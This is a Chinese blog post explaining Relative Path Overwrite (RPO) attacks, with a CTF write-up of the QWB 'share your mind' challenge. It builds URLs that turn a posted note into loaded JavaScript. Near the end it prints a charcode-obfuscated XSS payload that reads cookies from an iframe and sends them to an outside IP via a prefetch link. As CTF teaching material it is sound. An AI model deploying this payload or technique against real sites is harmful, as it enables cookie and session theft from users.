菠萝吹雪's Studio.

关于RPO攻击的一些东西

字数统计: 1k阅读时长: 4 min
2019/04/10 Share

什么是RPO攻击

RPO(Relative Path Overwrite)
相对路径覆盖,原理是浏览器解析页面路径有误而导致css文件加载路径错误导致的任意文件解析
在相对路径处,引入我们可控的js/css文件,甚至引入非js/css文件,并按照js/css的语法执行,从而实现攻击。

PATHINFO URL模式

在解释漏洞前看一个知识点,什么是pathinfo?
例如

1
http://www.a.com/index.php/a/b/c/

这里index.php 后面的路径显然不存在,pathinfo就是在url路径实际上不存在的时候,apache等通过一定的手段将不存在的路劲保存到环境变量$_SERVER['PATH_INFO']中,也可以把它转换成别的参数,比如$_GET['m']
这样,上面的网页其实等于

1
http://www.a.com/index.php?m=a&b=b&c=c

例题

强网杯 share your mind
按照正常的流程,先注册然后登陆进去
有几个功能点

overview可以查看提交的留言
write article 可以提交留言
reports可以提交bug链接
可以确定攻击思路是Write article写入XSS文件—>Overview查看文件地址—>RPO构造攻击地址—>提交给服务器BOT形成CSRF—>弹cookie到VPS接受
在这里可以构造

1
http://39.107.33.96:20000/index.php/view/article/23049/..%2f..%2f..%2f..%2findex.php

这样的链接,对于php而言,它获得的请求会经过url解码,所以%2f会被解码为/,apache和nginx会按照目录的方式来返回我们请求的资源。
所以,实际上我们在访问的是

1
http://39.107.33.96:20000/index.php/view/article/23049/../../../../index.php

也就是

1
http://39.107.33.96:20000/index.php

但是,这时候出现了一个意外,服务端和客户端之间沟通产生了差异,浏览器进行js文件加载的时候并没有把%2f进行解码,这就导致浏览器会把..%2f..%2f..%2f..%2findex.php
这一坨当成文件来看待,但是又没有被后台接收就被无视了。
所以返回的资源就只是

1
http://39.107.33.96:20000/index.php/view/article/23049/

然后,相对路径中请求的url就变成了

1
http://39.107.33.96:20000/index.php/view/article/23049/..%2f..%2f..%2f..%2findex.php/static/js/jquery.min.js

当我们向服务器提交这个请求的时候,服务器会按照上面介绍的phpinfo模式来读取这个url,
读到..%2f..%2f..%2f..%2findex.php这里就读不下去了,识别不了,退一步,把前面能识别的内容返回回来,也就是

1
http://39.107.33.96:20000/index.php/view/article/23049/

所以,可以试着在留言界面留言alert(1);
然后去访问

1
http://39.107.33.96:20000/index.php/view/article/23049/jquery.min.js%2f..%2f..%2f../

浏览器仍旧加载的是

1
http://39.107.33.96:20000/index.php

但是会把我们的alert(1);加载到js文件中导致xss
之后就直接构造payload读取二级目录里的cookie

1
2
3
4
5
6
7
8
9
10
11
12
iframe
var iframe = document.createElement(String.fromCharCode(105,102,114,97,109,101));
iframe.src = String.fromCharCode(47,81,87,66,95,102,108,52,103,47,81,87,66,47);
iframe.id = String.fromCharCode(102,114,97,109,101);
document.body.appendChild(iframe);
iframe.onload = function (){
var c = document.getElementById(String.fromCharCode(102,114,97,109,101)).contentWindow.document.cookie;
var n0t = document.createElement(String.fromCharCode(108,105,110,107));
n0t.setAttribute(String.fromCharCode(114,101,108), String.fromCharCode(112,114,101,102,101,116,99,104));
n0t.setAttribute(String.fromCharCode(104,114,101,102), String.fromCharCode(47,47,53,52,46,50,51,53,46,50,51,52,46,54,56,58,50,51,51,47,63,102,108,97,103,61) + c);
document.head.appendChild(n0t);
}

除了这道题,34c3ctf也有一道题用到了rpo xss+csrf
题目地址:

1
https://github.com/eboda/34c3ctf/blob/master/urlstorage

复现过程的心酸调试:

1 要在service mysql start之前添加chown -R mysql:mysql /var/lib/mysql /var/run/mysqld 不然不给权限会启动失败
2 启动成功还需要修改用户目录 usermod -d /var/lib/mysql mysql
3 每次启动容器都要执行这两条命令,不然还是启动不起来

不要问我是怎么知道的呜呜呜呜呜

CATALOG
  1. 1. 什么是RPO攻击
  2. 2. PATHINFO URL模式
  3. 3. 例题